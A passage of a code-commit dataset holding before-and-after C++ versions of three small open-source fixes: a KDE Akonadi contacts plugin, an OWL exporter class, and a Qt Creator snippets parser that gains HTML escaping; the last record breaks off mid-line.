m_monitor->setMimeTypeMonitored(\"text\/directory\");\n    m_monitor->itemFetchScope().fetchFullPayload();\n    m_monitor->itemFetchScope().setFetchModificationTime(false);\n#ifdef HAVE_KDEPIM_ATLEAST_412\n    m_monitor->itemFetchScope().setFetchRemoteIdentification(false);\n#endif\n\n    CollectionFetchJob *fetchJob = new CollectionFetchJob(Collection::root(), CollectionFetchJob::Recursive, this);\n    fetchJob->fetchScope().setContentMimeTypes( QStringList() << \"text\/directory\" );\n    connect(fetchJob, SIGNAL(finished(KJob*)), SLOT(onCollectionsFetched(KJob*)));\n}\n\nAkonadiAllContacts::~AkonadiAllContacts()\n{\n}\n\nKABC::Addressee::Map AkonadiAllContacts::contacts()\n{\n    return m_contacts;\n}\n\nQString AkonadiDataSource::sourcePluginId() const\n{\n    return \"akonadi\";\n}\n\n\nvoid AkonadiAllContacts::onItemAdded(const Item& item)\n{\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    const QString id = item.url().prettyUrl();\n    const KABC::Addressee contact = item.payload<KABC::Addressee>();\n    m_contacts[id] = contact;\n    Q_EMIT contactAdded(item.url().prettyUrl(), contact);\n}\n\nvoid AkonadiAllContacts::onItemChanged(const Item& item)\n{\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    const QString id = item.url().prettyUrl();\n    const KABC::Addressee contact = item.payload<KABC::Addressee>();\n    m_contacts[id] = contact;\n    Q_EMIT contactChanged(item.url().prettyUrl(), contact);\n}\n\nvoid AkonadiAllContacts::onItemRemoved(const Item& item)\n{\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    const QString id = item.url().prettyUrl();\n    m_contacts.remove(id);\n    Q_EMIT contactRemoved(id);\n}\n\n\/\/or we could add items as we go along...\nvoid AkonadiAllContacts::onItemsFetched(KJob *job)\n{\n    ItemFetchJob *itemFetchJob = qobject_cast<ItemFetchJob*>(job);\n    foreach (const Item &item, itemFetchJob->items()) {\n        onItemAdded(item);\n    }\n\n    if (--m_activeFetchJobsCount == 0) {\n        emitInitialFetchComplete();\n    }\n}\n\nvoid AkonadiAllContacts::onCollectionsFetched(KJob* job)\n{\n    CollectionFetchJob *fetchJob = qobject_cast<CollectionFetchJob*>(job);\n    QList<Collection> contactCollections;\n    foreach (const Collection &collection, fetchJob->collections()) {\n        \/\/ Skip virtual collections - we will get contacts linked into virtual\n        \/\/ collections from their real parent collections\n        if (collection.isVirtual()) {\n            continue;\n        }\n        if (collection.contentMimeTypes().contains( KABC::Addressee::mimeType() ) ) {\n            ItemFetchJob *itemFetchJob = new ItemFetchJob(collection);\n            itemFetchJob->fetchScope().fetchFullPayload();\n            connect(itemFetchJob, SIGNAL(finished(KJob*)), SLOT(onItemsFetched(KJob*)));\n            ++m_activeFetchJobsCount;\n        }\n    }\n}\n\n\n\n\nclass AkonadiContact: public KPeople::ContactMonitor\n{\n    Q_OBJECT\npublic:\n    AkonadiContact(Akonadi::Monitor *monitor, const QString &contactId);\n    ~AkonadiContact();\nprivate Q_SLOTS:\n    void onContactFetched(KJob*);\n    void onContactChanged(const Akonadi::Item &);\nprivate:\n    Akonadi::Monitor *m_monitor;\n    Akonadi::Item m_item;\n};\n\nAkonadiContact::AkonadiContact(Akonadi::Monitor *monitor, const QString &contactId):\n    ContactMonitor(contactId),\n    m_monitor(monitor)\n{\n    \/\/TODO: optimiZation, base class could copy across from the model if the model exists\n    \/\/then we should check if contact is already set to something and avoid the initial fetch\n\n    \/\/load the contact initially\n    m_item = Item::fromUrl(QUrl(contactId));\n    ItemFetchJob* itemFetchJob = new ItemFetchJob(m_item);\n    itemFetchJob->fetchScope().fetchFullPayload();\n    connect(itemFetchJob, SIGNAL(finished(KJob*)), SLOT(onContactFetched(KJob*)));\n\n    \/\/then watch for that item changing\n    m_monitor->setItemMonitored(m_item, true);\n    connect(m_monitor, SIGNAL(itemChanged(Akonadi::Item,QSet<QByteArray>)), SLOT(onContactChanged(Akonadi::Item)));\n}\n\nAkonadiContact::~AkonadiContact()\n{\n    m_monitor->setItemMonitored(m_item, false);\n}\n\n\nvoid AkonadiContact::onContactFetched(KJob *job)\n{\n    ItemFetchJob* fetchJob = qobject_cast<ItemFetchJob*>(job);\n    if (fetchJob->items().count() && fetchJob->items().first().hasPayload<KABC::Addressee>()) {\n        setContact(fetchJob->items().first().payload<KABC::Addressee>());\n    }\n}\n\nvoid AkonadiContact::onContactChanged(const Item &item)\n{\n    if (item != m_item) {\n        return;\n    }\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    setContact(item.payload<KABC::Addressee>());\n}\n\n\nAkonadiDataSource::AkonadiDataSource(QObject *parent, const QVariantList &args):\n    BasePersonsDataSource(parent),\n    m_monitor(new Akonadi::Monitor(this))\n{\n    Q_UNUSED(args);\n    m_monitor->itemFetchScope().fetchFullPayload();\n    m_monitor->itemFetchScope().setFetchModificationTime(false);\n#ifdef HAVE_KDEPIM_ATLEAST_412\n    m_monitor->itemFetchScope().setFetchRemoteIdentification(false);\n#endif\n}\n\nAkonadiDataSource::~AkonadiDataSource()\n{\n\n}\n\nKPeople::AllContactsMonitor* AkonadiDataSource::createAllContactsMonitor()\n{\n    return new AkonadiAllContacts();\n}\n\nKPeople::ContactMonitor* AkonadiDataSource::createContactMonitor(const QString& contactId)\n{\n    return new AkonadiContact(m_monitor, contactId);\n}\n\nK_PLUGIN_FACTORY( AkonadiDataSourceFactory, registerPlugin<AkonadiDataSource>(); )\nK_EXPORT_PLUGIN( AkonadiDataSourceFactory(\"akonadi_kpeople_plugin\") )\n\n#include \"akonadidatasource.moc\"\n<commit_msg>Emit finished if there are no akonadi collections<commit_after>\/*\n * Copyright 2013  David Edmundson <davidedmundson@kde.org>\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation; either version 2 of\n * the License or (at your option) version 3 or any later version\n * accepted by the membership of KDE e.V. (or its successor approved\n * by the membership of KDE e.V.), which shall act as a proxy\n * defined in Section 14 of version 3 of the license.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include \"akonadidatasource.h\"\n\n#include <Akonadi\/Item>\n#include <Akonadi\/ItemFetchJob>\n#include <Akonadi\/ItemFetchScope>\n#include <Akonadi\/Collection>\n#include <Akonadi\/CollectionFetchJob>\n#include <Akonadi\/CollectionFetchScope>\n\n#include <KABC\/Addressee>\n\n#include <KPluginFactory>\n#include <KPluginLoader>\n\n#include <QDebug>\n\nusing namespace Akonadi;\n\nclass AkonadiAllContacts : public KPeople::AllContactsMonitor\n{\n    Q_OBJECT\npublic:\n    AkonadiAllContacts();\n    ~AkonadiAllContacts();\n    virtual KABC::Addressee::Map contacts();\nprivate Q_SLOTS:\n    void onCollectionsFetched(KJob* job);\n    void onItemsFetched(KJob* job);\n    void onItemAdded(const Akonadi::Item &item);\n    void onItemChanged(const Akonadi::Item &item);\n    void onItemRemoved(const Akonadi::Item &item);\nprivate:\n    Akonadi::Monitor *m_monitor;\n    KABC::Addressee::Map m_contacts;\n    int m_activeFetchJobsCount;\n};\n\nAkonadiAllContacts::AkonadiAllContacts():\n    m_monitor(new Akonadi::Monitor(this)),\n    m_activeFetchJobsCount(0)\n{\n    connect(m_monitor, SIGNAL(itemAdded(Akonadi::Item,Akonadi::Collection)), SLOT(onItemAdded(Akonadi::Item)));\n    connect(m_monitor, SIGNAL(itemChanged(Akonadi::Item,QSet<QByteArray>)), SLOT(onItemChanged(Akonadi::Item)));\n    connect(m_monitor, SIGNAL(itemRemoved(Akonadi::Item)), SLOT(onItemRemoved(Akonadi::Item)));\n\n    m_monitor->setMimeTypeMonitored(\"text\/directory\");\n    m_monitor->itemFetchScope().fetchFullPayload();\n    m_monitor->itemFetchScope().setFetchModificationTime(false);\n#ifdef HAVE_KDEPIM_ATLEAST_412\n    m_monitor->itemFetchScope().setFetchRemoteIdentification(false);\n#endif\n\n    CollectionFetchJob *fetchJob = new CollectionFetchJob(Collection::root(), CollectionFetchJob::Recursive, this);\n    fetchJob->fetchScope().setContentMimeTypes( QStringList() << \"text\/directory\" );\n    connect(fetchJob, SIGNAL(finished(KJob*)), SLOT(onCollectionsFetched(KJob*)));\n}\n\nAkonadiAllContacts::~AkonadiAllContacts()\n{\n}\n\nKABC::Addressee::Map AkonadiAllContacts::contacts()\n{\n    return m_contacts;\n}\n\nQString AkonadiDataSource::sourcePluginId() const\n{\n    return \"akonadi\";\n}\n\n\nvoid AkonadiAllContacts::onItemAdded(const Item& item)\n{\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    const QString id = item.url().prettyUrl();\n    const KABC::Addressee contact = item.payload<KABC::Addressee>();\n    m_contacts[id] = contact;\n    Q_EMIT contactAdded(item.url().prettyUrl(), contact);\n}\n\nvoid AkonadiAllContacts::onItemChanged(const Item& item)\n{\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    const QString id = item.url().prettyUrl();\n    const KABC::Addressee contact = item.payload<KABC::Addressee>();\n    m_contacts[id] = contact;\n    Q_EMIT contactChanged(item.url().prettyUrl(), contact);\n}\n\nvoid AkonadiAllContacts::onItemRemoved(const Item& item)\n{\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    const QString id = item.url().prettyUrl();\n    m_contacts.remove(id);\n    Q_EMIT contactRemoved(id);\n}\n\n\/\/or we could add items as we go along...\nvoid AkonadiAllContacts::onItemsFetched(KJob *job)\n{\n    ItemFetchJob *itemFetchJob = qobject_cast<ItemFetchJob*>(job);\n    foreach (const Item &item, itemFetchJob->items()) {\n        onItemAdded(item);\n    }\n\n    if (--m_activeFetchJobsCount == 0) {\n        emitInitialFetchComplete();\n    }\n}\n\nvoid AkonadiAllContacts::onCollectionsFetched(KJob* job)\n{\n    CollectionFetchJob *fetchJob = qobject_cast<CollectionFetchJob*>(job);\n    QList<Collection> contactCollections;\n    foreach (const Collection &collection, fetchJob->collections()) {\n        \/\/ Skip virtual collections - we will get contacts linked into virtual\n        \/\/ collections from their real parent collections\n        if (collection.isVirtual()) {\n            continue;\n        }\n        if (collection.contentMimeTypes().contains( KABC::Addressee::mimeType() ) ) {\n            ItemFetchJob *itemFetchJob = new ItemFetchJob(collection);\n            itemFetchJob->fetchScope().fetchFullPayload();\n            connect(itemFetchJob, SIGNAL(finished(KJob*)), SLOT(onItemsFetched(KJob*)));\n            ++m_activeFetchJobsCount;\n        }\n    }\n    if (m_activeFetchJobsCount == 0) {\n        emitInitialFetchComplete();\n    }\n}\n\n\n\n\nclass AkonadiContact: public KPeople::ContactMonitor\n{\n    Q_OBJECT\npublic:\n    AkonadiContact(Akonadi::Monitor *monitor, const QString &contactId);\n    ~AkonadiContact();\nprivate Q_SLOTS:\n    void onContactFetched(KJob*);\n    void onContactChanged(const Akonadi::Item &);\nprivate:\n    Akonadi::Monitor *m_monitor;\n    Akonadi::Item m_item;\n};\n\nAkonadiContact::AkonadiContact(Akonadi::Monitor *monitor, const QString &contactId):\n    ContactMonitor(contactId),\n    m_monitor(monitor)\n{\n    \/\/TODO: optimiZation, base class could copy across from the model if the model exists\n    \/\/then we should check if contact is already set to something and avoid the initial fetch\n\n    \/\/load the contact initially\n    m_item = Item::fromUrl(QUrl(contactId));\n    ItemFetchJob* itemFetchJob = new ItemFetchJob(m_item);\n    itemFetchJob->fetchScope().fetchFullPayload();\n    connect(itemFetchJob, SIGNAL(finished(KJob*)), SLOT(onContactFetched(KJob*)));\n\n    \/\/then watch for that item changing\n    m_monitor->setItemMonitored(m_item, true);\n    connect(m_monitor, SIGNAL(itemChanged(Akonadi::Item,QSet<QByteArray>)), SLOT(onContactChanged(Akonadi::Item)));\n}\n\nAkonadiContact::~AkonadiContact()\n{\n    m_monitor->setItemMonitored(m_item, false);\n}\n\n\nvoid AkonadiContact::onContactFetched(KJob *job)\n{\n    ItemFetchJob* fetchJob = qobject_cast<ItemFetchJob*>(job);\n    if (fetchJob->items().count() && fetchJob->items().first().hasPayload<KABC::Addressee>()) {\n        setContact(fetchJob->items().first().payload<KABC::Addressee>());\n    }\n}\n\nvoid AkonadiContact::onContactChanged(const Item &item)\n{\n    if (item != m_item) {\n        return;\n    }\n    if(!item.hasPayload<KABC::Addressee>()) {\n        return;\n    }\n    setContact(item.payload<KABC::Addressee>());\n}\n\n\nAkonadiDataSource::AkonadiDataSource(QObject *parent, const QVariantList &args):\n    BasePersonsDataSource(parent),\n    m_monitor(new Akonadi::Monitor(this))\n{\n    Q_UNUSED(args);\n    m_monitor->itemFetchScope().fetchFullPayload();\n    m_monitor->itemFetchScope().setFetchModificationTime(false);\n#ifdef HAVE_KDEPIM_ATLEAST_412\n    m_monitor->itemFetchScope().setFetchRemoteIdentification(false);\n#endif\n}\n\nAkonadiDataSource::~AkonadiDataSource()\n{\n\n}\n\nKPeople::AllContactsMonitor* AkonadiDataSource::createAllContactsMonitor()\n{\n    return new AkonadiAllContacts();\n}\n\nKPeople::ContactMonitor* AkonadiDataSource::createContactMonitor(const QString& contactId)\n{\n    return new AkonadiContact(m_monitor, contactId);\n}\n\nK_PLUGIN_FACTORY( AkonadiDataSourceFactory, registerPlugin<AkonadiDataSource>(); )\nK_EXPORT_PLUGIN( AkonadiDataSourceFactory(\"akonadi_kpeople_plugin\") )\n\n#include \"akonadidatasource.moc\"\n<|endoftext|>"}
{"text":"<commit_before>#include <plugins\/owlexporter\/OwlIndividual.h>\n\n\nnamespace beliefstate {\n  std::list<std::string> OwlIndividual::m_lstIssuedProperties;\n  std::list<std::string> OwlIndividual::m_lstIssuedTypes;\n  \n  \n  OwlIndividual::OwlIndividual() {\n    \/\/\n  }\n  \n  OwlIndividual::~OwlIndividual() {\n    \/\/\n  }\n\n  void OwlIndividual::setID(std::string strID) {\n    m_strID = strID;\n  }\n  \n  void OwlIndividual::setType(std::string strType) {\n    m_strType = strType;\n    \n    this->issueType(strType);\n  }\n  \n  void OwlIndividual::addDataProperty(std::string strTag, std::string strDataType, std::string strContent) {\n    OwlProperty opProperty;\n    opProperty.strTag = strTag;\n    opProperty.strDataType = strDataType;\n    opProperty.strContent = strContent;\n    \n    m_lstProperties.push_back(opProperty);\n    \n    this->issueProperty(strTag);\n  }\n  \n  void OwlIndividual::addResourceProperty(std::string strTag, std::string strResource) {\n    OwlProperty opProperty;\n    opProperty.strTag = strTag;\n    opProperty.strResource = strResource;\n    \n    m_lstProperties.push_back(opProperty);\n    \n    this->issueProperty(strTag);\n  }\n  \n  void OwlIndividual::addContentProperty(std::string strTag, std::string strContent) {\n    OwlProperty opProperty;\n    opProperty.strTag = strTag;\n    opProperty.strContent = strContent;\n    \n    m_lstProperties.push_back(opProperty);\n    \n    this->issueProperty(strTag);\n  }\n  \n  void OwlIndividual::issueProperty(std::string strProperty) {\n    std::string strPropertyFormatted = strProperty;\n    \n    size_t posColon = strPropertyFormatted.find(\":\");\n    if(posColon != std::string::npos) {\n      \/\/ Namespace found, convert it into short form\n      strPropertyFormatted = \"&\" + strPropertyFormatted.substr(0, posColon) + \";\" + strPropertyFormatted.substr(posColon + 1);\n    }\n    \n    if(std::find(m_lstIssuedProperties.begin(), m_lstIssuedProperties.end(), strPropertyFormatted) == m_lstIssuedProperties.end()) {\n      m_lstIssuedProperties.push_back(strPropertyFormatted);\n    }\n  }\n  \n  void OwlIndividual::issueType(std::string strType) {\n    if(std::find(m_lstIssuedTypes.begin(), m_lstIssuedTypes.end(), strType) == m_lstIssuedTypes.end()) {\n      m_lstIssuedTypes.push_back(strType);\n    }\n  }\n  \n  std::string OwlIndividual::indent(int nSpaces) {\n    std::string strIndentation = \"\";\n    \n    for(int nI = 0; nI < nSpaces; nI++) {\n      strIndentation += \" \";\n    }\n    \n    return strIndentation;\n  }\n  \n  std::string OwlIndividual::print(int nIndentation, int nIndentationPerLevel) {\n    std::string strOwl = \"\";\n    \n    if(strOwl != \"\") {\n      strOwl += this->indent(nIndentation * nIndentationPerLevel) + \"\\n\";\n    }\n    \n    strOwl += this->indent(nIndentation * nIndentationPerLevel) +\n      \"<owl:namedIndividual rdf:about=\\\"\" + m_strID + \"\\\">\\n\";\n    \n    strOwl += this->indent((nIndentation + 1) * nIndentationPerLevel) +\n      \"<rdf:type rdf:resource=\\\"\" + m_strType + \"\\\"\/>\\n\";\n    \n    for(OwlProperty opProperty : m_lstProperties) {\n      strOwl += this->indent((nIndentation + 1) * nIndentationPerLevel);\n      strOwl += \"<\" + opProperty.strTag;\n      \n      if(opProperty.strDataType != \"\") {\n\tstrOwl += \" rdf:datatype=\\\"\" + opProperty.strDataType + \"\\\">\" + opProperty.strContent;\n\tstrOwl += \"<\/\" + opProperty.strTag + \">\";\n      } else if(opProperty.strResource != \"\") {\n\tstrOwl += \" rdf:resource=\\\"\" + opProperty.strResource + \"\\\"\/>\";\n      } else {\n\tstrOwl += \">\" + opProperty.strContent;\n\tstrOwl += \"<\/\" + opProperty.strTag + \">\";\n      }\n      \n      strOwl += \"\\n\";\n    }\n    \n    strOwl += this->indent(nIndentation * nIndentationPerLevel) +\n      \"<\/owl:namedIndividual>\\n\";\n    strOwl += this->indent(nIndentation * nIndentationPerLevel) + \"\\n\";\n    \n    return strOwl;\n  }\n  \n  void OwlIndividual::resetIssuedProperties() {\n    m_lstIssuedProperties.clear();\n  }\n  \n  void OwlIndividual::resetIssuedTypes() {\n    m_lstIssuedTypes.clear();\n  }\n  \n  void OwlIndividual::resetIssuedInformation() {\n    OwlIndividual::resetIssuedProperties();\n    OwlIndividual::resetIssuedTypes();\n  }\n  \n  std::list<std::string> OwlIndividual::issuedProperties() {\n    return m_lstIssuedProperties;\n  }\n  \n  std::list<std::string> OwlIndividual::issuedTypes() {\n    return m_lstIssuedTypes;\n  }\n}\n<commit_msg>Make sure no empty types are printed<commit_after>#include <plugins\/owlexporter\/OwlIndividual.h>\n\n\nnamespace beliefstate {\n  std::list<std::string> OwlIndividual::m_lstIssuedProperties;\n  std::list<std::string> OwlIndividual::m_lstIssuedTypes;\n  \n  \n  OwlIndividual::OwlIndividual() {\n    \/\/\n  }\n  \n  OwlIndividual::~OwlIndividual() {\n    \/\/\n  }\n\n  void OwlIndividual::setID(std::string strID) {\n    m_strID = strID;\n  }\n  \n  void OwlIndividual::setType(std::string strType) {\n    m_strType = strType;\n    \n    this->issueType(strType);\n  }\n  \n  void OwlIndividual::addDataProperty(std::string strTag, std::string strDataType, std::string strContent) {\n    OwlProperty opProperty;\n    opProperty.strTag = strTag;\n    opProperty.strDataType = strDataType;\n    opProperty.strContent = strContent;\n    \n    m_lstProperties.push_back(opProperty);\n    \n    this->issueProperty(strTag);\n  }\n  \n  void OwlIndividual::addResourceProperty(std::string strTag, std::string strResource) {\n    OwlProperty opProperty;\n    opProperty.strTag = strTag;\n    opProperty.strResource = strResource;\n    \n    m_lstProperties.push_back(opProperty);\n    \n    this->issueProperty(strTag);\n  }\n  \n  void OwlIndividual::addContentProperty(std::string strTag, std::string strContent) {\n    OwlProperty opProperty;\n    opProperty.strTag = strTag;\n    opProperty.strContent = strContent;\n    \n    m_lstProperties.push_back(opProperty);\n    \n    this->issueProperty(strTag);\n  }\n  \n  void OwlIndividual::issueProperty(std::string strProperty) {\n    std::string strPropertyFormatted = strProperty;\n    \n    size_t posColon = strPropertyFormatted.find(\":\");\n    if(posColon != std::string::npos) {\n      \/\/ Namespace found, convert it into short form\n      strPropertyFormatted = \"&\" + strPropertyFormatted.substr(0, posColon) + \";\" + strPropertyFormatted.substr(posColon + 1);\n    }\n    \n    if(std::find(m_lstIssuedProperties.begin(), m_lstIssuedProperties.end(), strPropertyFormatted) == m_lstIssuedProperties.end()) {\n      m_lstIssuedProperties.push_back(strPropertyFormatted);\n    }\n  }\n  \n  void OwlIndividual::issueType(std::string strType) {\n    if(std::find(m_lstIssuedTypes.begin(), m_lstIssuedTypes.end(), strType) == m_lstIssuedTypes.end()) {\n      m_lstIssuedTypes.push_back(strType);\n    }\n  }\n  \n  std::string OwlIndividual::indent(int nSpaces) {\n    std::string strIndentation = \"\";\n    \n    for(int nI = 0; nI < nSpaces; nI++) {\n      strIndentation += \" \";\n    }\n    \n    return strIndentation;\n  }\n  \n  std::string OwlIndividual::print(int nIndentation, int nIndentationPerLevel) {\n    std::string strOwl = \"\";\n    \n    if(strOwl != \"\") {\n      strOwl += this->indent(nIndentation * nIndentationPerLevel) + \"\\n\";\n    }\n    \n    strOwl += this->indent(nIndentation * nIndentationPerLevel) +\n      \"<owl:namedIndividual rdf:about=\\\"\" + m_strID + \"\\\">\\n\";\n    \n    if(m_strType != \"\") {\n      strOwl += this->indent((nIndentation + 1) * nIndentationPerLevel) +\n\t\"<rdf:type rdf:resource=\\\"\" + m_strType + \"\\\"\/>\\n\";\n    }\n    \n    for(OwlProperty opProperty : m_lstProperties) {\n      strOwl += this->indent((nIndentation + 1) * nIndentationPerLevel);\n      strOwl += \"<\" + opProperty.strTag;\n      \n      if(opProperty.strDataType != \"\") {\n\tstrOwl += \" rdf:datatype=\\\"\" + opProperty.strDataType + \"\\\">\" + opProperty.strContent;\n\tstrOwl += \"<\/\" + opProperty.strTag + \">\";\n      } else if(opProperty.strResource != \"\") {\n\tstrOwl += \" rdf:resource=\\\"\" + opProperty.strResource + \"\\\"\/>\";\n      } else {\n\tstrOwl += \">\" + opProperty.strContent;\n\tstrOwl += \"<\/\" + opProperty.strTag + \">\";\n      }\n      \n      strOwl += \"\\n\";\n    }\n    \n    strOwl += this->indent(nIndentation * nIndentationPerLevel) +\n      \"<\/owl:namedIndividual>\\n\";\n    strOwl += this->indent(nIndentation * nIndentationPerLevel) + \"\\n\";\n    \n    return strOwl;\n  }\n  \n  void OwlIndividual::resetIssuedProperties() {\n    m_lstIssuedProperties.clear();\n  }\n  \n  void OwlIndividual::resetIssuedTypes() {\n    m_lstIssuedTypes.clear();\n  }\n  \n  void OwlIndividual::resetIssuedInformation() {\n    OwlIndividual::resetIssuedProperties();\n    OwlIndividual::resetIssuedTypes();\n  }\n  \n  std::list<std::string> OwlIndividual::issuedProperties() {\n    return m_lstIssuedProperties;\n  }\n  \n  std::list<std::string> OwlIndividual::issuedTypes() {\n    return m_lstIssuedTypes;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"snippetsparser.h\"\n\n#include <QtCore\/QFile>\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QLatin1String>\n#include <QtCore\/QLatin1Char>\n#include <QtCore\/QVariant>\n#include <QtCore\/QXmlStreamReader>\n#include <QtCore\/QDebug>\n\nusing namespace TextEditor;\n\nSnippetsParser::SnippetsParser(const QString &fileName) : m_fileName(fileName)\n{}\n\nconst QList<CompletionItem> &SnippetsParser::execute(ICompletionCollector *collector,\n                                                     const QIcon &icon,\n                                                     int order)\n{\n    if (!QFile::exists(m_fileName)) {\n        m_snippets.clear();\n    } else {\n        const QDateTime &lastModified = QFileInfo(m_fileName).lastModified();\n        if (m_lastTrackedFileChange.isNull() || m_lastTrackedFileChange != lastModified) {\n            m_snippets.clear();\n            QFile file(m_fileName);\n            file.open(QIODevice::ReadOnly);\n            QXmlStreamReader xml(&file);\n            if (xml.readNextStartElement()) {\n                if (xml.name() == QLatin1String(\"snippets\")) {\n                    while (xml.readNextStartElement()) {\n                        if (xml.name() == QLatin1String(\"snippet\")) {\n                            TextEditor::CompletionItem item(collector);\n                            QString title;\n                            QString data;\n                            QString description = xml.attributes().value(\"description\").toString();\n\n                            while (!xml.atEnd()) {\n                                xml.readNext();\n                                if (xml.isEndElement()) {\n                                    int i = 0;\n                                    while (i < data.size() && data.at(i).isLetterOrNumber())\n                                        ++i;\n                                    title = data.left(i);\n                                    item.text = title;\n                                    if (!description.isEmpty()) {\n                                        item.text +=  QLatin1Char(' ');\n                                        item.text += description;\n                                    }\n                                    item.data = QVariant::fromValue(data);\n\n                                    QString infotip = data;\n                                    while (infotip.size() && infotip.at(infotip.size()-1).isSpace())\n                                        infotip.chop(1);\n                                    infotip.replace(QLatin1Char('\\n'), QLatin1String(\"<br>\"));\n                                    infotip.replace(QLatin1Char(' '), QLatin1String(\"&nbsp;\"));\n                                    {\n                                        QString s = QLatin1String(\"<nobr>\");\n                                        int count = 0;\n                                        for (int i = 0; i < infotip.count(); ++i) {\n                                            if (infotip.at(i) != QChar::ObjectReplacementCharacter) {\n                                                s += infotip.at(i);\n                                                continue;\n                                            }\n                                            if (++count % 2) {\n                                                s += QLatin1String(\"<b>\");\n                                            } else {\n                                                if (infotip.at(i-1) == QChar::ObjectReplacementCharacter)\n                                                    s += QLatin1String(\"...\");\n                                                s += QLatin1String(\"<\/b>\");\n                                            }\n                                        }\n                                        infotip = s;\n                                    }\n                                    item.details = infotip;\n\n                                    item.icon = icon;\n                                    item.order = order;\n                                    item.isSnippet = true;\n                                    m_snippets.append(item);\n                                    break;\n                                }\n\n                                if (xml.isCharacters())\n                                    data += xml.text();\n                                else if (xml.isStartElement()) {\n                                    if (xml.name() != QLatin1String(\"tab\"))\n                                        xml.raiseError(QLatin1String(\"invalid snippets file\"));\n                                    else {\n                                        data += QChar::ObjectReplacementCharacter;\n                                        data += xml.readElementText();\n                                        data += QChar::ObjectReplacementCharacter;\n                                    }\n                                }\n                            }\n                        } else {\n                            xml.skipCurrentElement();\n                        }\n                    }\n                } else {\n                    xml.skipCurrentElement();\n                }\n            }\n            if (xml.hasError())\n                qWarning() << m_fileName << xml.errorString() << xml.lineNumber() << xml.columnNumber();\n            file.close();\n\n            m_lastTrackedFileChange = lastModified;\n        }\n    }\n\n    return m_snippets;\n}\n<commit_msg>Snippets: Escape characters for the tip preview.<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at http:\/\/qt.nokia.com\/contact.\n**\n**************************************************************************\/\n\n#include \"snippetsparser.h\"\n\n#include <QtCore\/QFile>\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QLatin1String>\n#include <QtCore\/QLatin1Char>\n#include <QtCore\/QVariant>\n#include <QtCore\/QXmlStreamReader>\n#include <QtCore\/QDebug>\n#include <QtGui\/QTextDocument>\n\nusing namespace TextEditor;\n\nSnippetsParser::SnippetsParser(const QString &fileName) : m_fileName(fileName)\n{}\n\nconst QList<CompletionItem> &SnippetsParser::execute(ICompletionCollector *collector,\n                                                     const QIcon &icon,\n                                                     int order)\n{\n    if (!QFile::exists(m_fileName)) {\n        m_snippets.clear();\n    } else {\n        const QDateTime &lastModified = QFileInfo(m_fileName).lastModified();\n        if (m_lastTrackedFileChange.isNull() || m_lastTrackedFileChange != lastModified) {\n            m_snippets.clear();\n            QFile file(m_fileName);\n            file.open(QIODevice::ReadOnly);\n            QXmlStreamReader xml(&file);\n            if (xml.readNextStartElement()) {\n                if (xml.name() == QLatin1String(\"snippets\")) {\n                    while (xml.readNextStartElement()) {\n                        if (xml.name() == QLatin1String(\"snippet\")) {\n                            TextEditor::CompletionItem item(collector);\n                            QString title;\n                            QString data;\n                            QString description = xml.attributes().value(\"description\").toString();\n\n                            while (!xml.atEnd()) {\n                                xml.readNext();\n                                if (xml.isEndElement()) {\n                                    int i = 0;\n                                    while (i < data.size() && data.at(i).isLetterOrNumber())\n                                        ++i;\n                                    title = data.left(i);\n                                    item.text = title;\n                                    if (!description.isEmpty()) {\n                                        item.text +=  QLatin1Char(' ');\n                                        item.text += description;\n                                    }\n                                    item.data = QVariant::fromValue(data);\n\n                                    QString infotip = data;\n                                    while (infotip.size() && infotip.at(infotip.size()-1).isSpace())\n                                        infotip.chop(1);\n                                    infotip = Qt::escape(infotip);\n                                    infotip.replace(QLatin1Char('\\n'), QLatin1String(\"<br>\"));\n                                    infotip.replace(QLatin1Char(' '), QLatin1String(\"&nbsp;\"));\n                                    {\n                                        QString s = QLatin1String(\"<nobr>\");\n                                        int count = 